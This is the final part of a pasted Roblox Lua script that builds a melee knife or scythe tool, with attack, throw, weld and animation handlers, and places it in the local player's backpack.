  876. end
  877.  
  878. function OnLeftButtonUp()
  879. if not Tool.Enabled then return end
  880. -- Reset the list of hit players every time we start a new attack
  881. HitPlayers = {}
  882. if PlayThrowCharge then
  883. PlayThrowCharge.Value = false
  884. end
  885. if Tool.Enabled and MyHumanoid and MyHumanoid.Health > 0 then
  886. Tool.Enabled = false
  887. local currTime = time()
  888. if LeftButtonDownTime and currTime - LeftButtonDownTime > HOLD_TO_THROW_TIME and
  889. currTime - LeftButtonDownTime < 1.15 then
  890. else
  891. Attacking = true
  892. if math.random(1, 2) == 1 then
  893. HardAttack()
  894. else
  895. NormalAttack()
  896. end
  897. Attacking = false
  898. end
  899. Tool.Enabled = true
  900. end
  901. end
  902.  
  903. function OnRightButtonDown()
  904. RightButtonDownTime = time()
  905. if PlayThrowCharge then
  906. PlayThrowCharge.Value = true
  907. end
  908. end
  909.  
  910. function OnRightButtonUp()
  911. if not Tool.Enabled then return end
  912. -- Reset the list of hit players every time we start a new attack
  913. HitPlayers = {}
  914. if PlayThrowCharge then
  915. PlayThrowCharge.Value = false
  916. end
  917. if Tool.Enabled and MyHumanoid and MyHumanoid.Health > 0 then
  918. Tool.Enabled = false
  919. local currTime = time()
  920. if RightButtonDownTime and currTime - RightButtonDownTime > HOLD_TO_THROW_TIME and
  921. currTime - RightButtonDownTime < 19999.15 then
  922. ThrowAttack()
  923. else
  924. Attacking = true
  925. if math.random(1, 2) == 1 then
  926. else
  927. end
  928. Attacking = false
  929. end
  930. Tool.Enabled = true
  931. end
  932. end
  933.  
  934. function OnEquipped(mouse)
  935. PlayStabPunch = WaitForChild(Tool, 'PlayStabPunch')
  936. PlayDownStab = WaitForChild(Tool, 'PlayDownStab')
  937. PlayThrow = WaitForChild(Tool, 'PlayThrow')
  938. PlayThrowCharge = WaitForChild(Tool, 'PlayThrowCharge')
  939. Handle.Equip:Play()
  940. BlowConnection = Handle.Touched:connect(Blow)
  941. MyCharacter = Tool.Parent
  942. MyTorso = MyCharacter:FindFirstChild('Torso')
  943. MyHumanoid = MyCharacter:FindFirstChild('Humanoid')
  944. MyPlayer = PlayersService.LocalPlayer
  945. if mouse then
  946. Button1DownConnection = mouse.Button1Down:connect(OnLeftButtonDown)
  947. Button1UpConnection = mouse.Button1Up:connect(OnLeftButtonUp)
  948. Button2DownConnection = mouse.Button2Down:connect(OnRightButtonDown)
  949. Button2UpConnection = mouse.Button2Up:connect(OnRightButtonUp)
  950. end
  951. KnifeUp()
  952. end
  953.  
  954. function OnUnequipped()
  955. -- Unequip logic here
  956. if BlowConnection then
  957. BlowConnection:disconnect()
  958. BlowConnection = nil
  959. end
  960. if Button1DownConnection then
  961. Button1DownConnection:disconnect()
  962. Button1DownConnection = nil
  963. end
  964. if Button1UpConnection then
  965. Button1UpConnection:disconnect()
  966. Button1UpConnection = nil
  967. end
  968. if Button2UpConnection then
  969. Button2UpConnection:disconnect()
  970. Button2UpConnection = nil
  971. end
  972. if Button2DownConnection then
  973. Button2DownConnection:disconnect()
  974. Button2DownConnection = nil
  975. end
  976. MyHumanoid = nil
  977. end
  978.  
  979.  
  980. Tool.Equipped:connect(OnEquipped)
  981. Tool.Unequipped:connect(OnUnequipped)
  982.  
  983. end))
  984. Motor6D29.Name = "Right Shoulder"
  985. Motor6D29.Parent = LocalScript28
  986. Motor6D29.C0 = CFrame.new(1, 0.5, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0)
  987. Motor6D29.C1 = CFrame.new(-0.5, 0.5, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0)
  988. Motor6D29.MaxVelocity = 0.10000000149012
  989. Animation30.Name = "IdleAnim"
  990. Animation30.Parent = Tool0
  991. Animation30.AnimationId = "http://www.roblox.com/Asset?ID=105371735"
  992. LocalScript31.Name = "BackupWeld"
  993. LocalScript31.Parent = Tool0
  994. table.insert(cors,sandbox(LocalScript31,function()
  995. function Weld(x,y)
  996. local W = Instance.new("Weld")
  997. W.Part0 = x
  998. W.Part1 = y
  999. local CJ = CFrame.new(x.Position)
  1000. local C0 = x.CFrame:inverse()*CJ
  1001. local C1 = y.CFrame:inverse()*CJ
  1002. W.C0 = C0
  1003. W.C1 = C1
  1004. W.Parent = x
  1005. end
  1006.  
  1007. function Get(A)
  1008. if A.className == "Part" then
  1009. Weld(script.Parent.Handle, A)
  1010. A.Anchored = false
  1011. else
  1012. local C = A:GetChildren()
  1013. for i=1, #C do
  1014. Get(C[i])
  1015. end
  1016. end
  1017. end
  1018.  
  1019. function Finale()
  1020. Get(script.Parent)
  1021. end
  1022.  
  1023. script.Parent.Equipped:connect(Finale)
  1024. script.Parent.Unequipped:connect(Finale)
  1025. Finale()
  1026. end))
  1027. LocalScript32.Name = "MostAnimations"
  1028. LocalScript32.Parent = Tool0
  1029. table.insert(cors,sandbox(LocalScript32,function()
  1030. --------------------
  1031. --| WaitForChild |--
  1032. --------------------
  1033.  
  1034. -- Waits for parent.child to exist, then returns it
  1035. local function WaitForChild(parent, childName)
  1036. assert(parent, "ERROR: WaitForChild: parent is nil")
  1037. while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
  1038. return parent[childName]
  1039. end
  1040.  
  1041. -----------------
  1042. --| Variables |--
  1043. -----------------
  1044.  
  1045. local Tool = script.Parent
  1046.  
  1047. local ScytheEquipAnimation = WaitForChild(script, 'ScytheEquip2')
  1048. local ScytheIdleAnimation = WaitForChild(script, 'ScytheIdle2')
  1049. local ScytheSlashAnimation = WaitForChild(script, 'ScytheSlash')
  1050.  
  1051. local ScytheEquipTrack = nil
  1052. local ScytheIdleTrack = nil
  1053. local ScytheSlashTrack = nil
  1054.  
  1055. -----------------
  1056. --| Functions |--
  1057. -----------------
  1058.  
  1059. local function OnEquipped()
  1060. local myModel = Tool.Parent
  1061. local humanoid = myModel:FindFirstChild('Humanoid')
  1062. if humanoid then -- Preload animations
  1063. ScytheEquipTrack = humanoid:LoadAnimation(ScytheEquipAnimation)
  1064. if ScytheEquipTrack then ScytheEquipTrack:Play() end
  1065.  
  1066. ScytheIdleTrack = humanoid:LoadAnimation(ScytheIdleAnimation)
  1067. if ScytheIdleTrack then ScytheIdleTrack:Play() end
  1068.  
  1069. ScytheSlashTrack = humanoid:LoadAnimation(ScytheSlashAnimation)
  1070. end
  1071. end
  1072.  
  1073. local function OnChanged(property)
  1074. if property == 'Enabled' and Tool.Enabled == false then
  1075. if ScytheSlashTrack then ScytheSlashTrack:Play() end
  1076. end
  1077. end
  1078.  
  1079. local function OnUnequipped()
  1080. -- Stop all animations
  1081. if ScytheEquipTrack then ScytheEquipTrack:Stop() end
  1082. if ScytheIdleTrack then ScytheIdleTrack:Stop() end
  1083. if ScytheSlashTrack then ScytheSlashTrack:Stop() end
  1084. end
  1085.  
  1086. --------------------
  1087. --| Script Logic |--
  1088. --------------------
  1089.  
  1090. Tool.Equipped:connect(OnEquipped)
  1091. Tool.Changed:connect(OnChanged)
  1092. Tool.Unequipped:connect(OnUnequipped)
  1093.  
  1094. end))
  1095. Animation33.Name = "ScytheEquip2"
  1096. Animation33.Parent = LocalScript32
  1097. Animation33.AnimationId = "http://www.roblox.com/Asset?ID=96064636"
  1098. Animation34.Name = "ScytheIdle2"
  1099. Animation34.Parent = LocalScript32
  1100. Animation34.AnimationId = "http://www.roblox.com/Asset?ID=96065457"
  1101. Animation35.Name = "ScytheSlash"
  1102. Animation35.Parent = LocalScript32
  1103. Animation35.AnimationId = "http://www.roblox.com/Asset?ID=96071496"
  1104. for i,v in pairs(mas:GetChildren()) do
  1105. v.Parent = game:GetService("Players").LocalPlayer.Backpack
  1106. pcall(function() v:MakeJoints() end)
  1107. end
  1108. mas:Destroy()
  1109. for i,v in pairs(cors) do
  1110. spawn(function()
  1111. pcall(v)
  1112. end)
  1113. end
Add Comment
Please, Sign In to add comment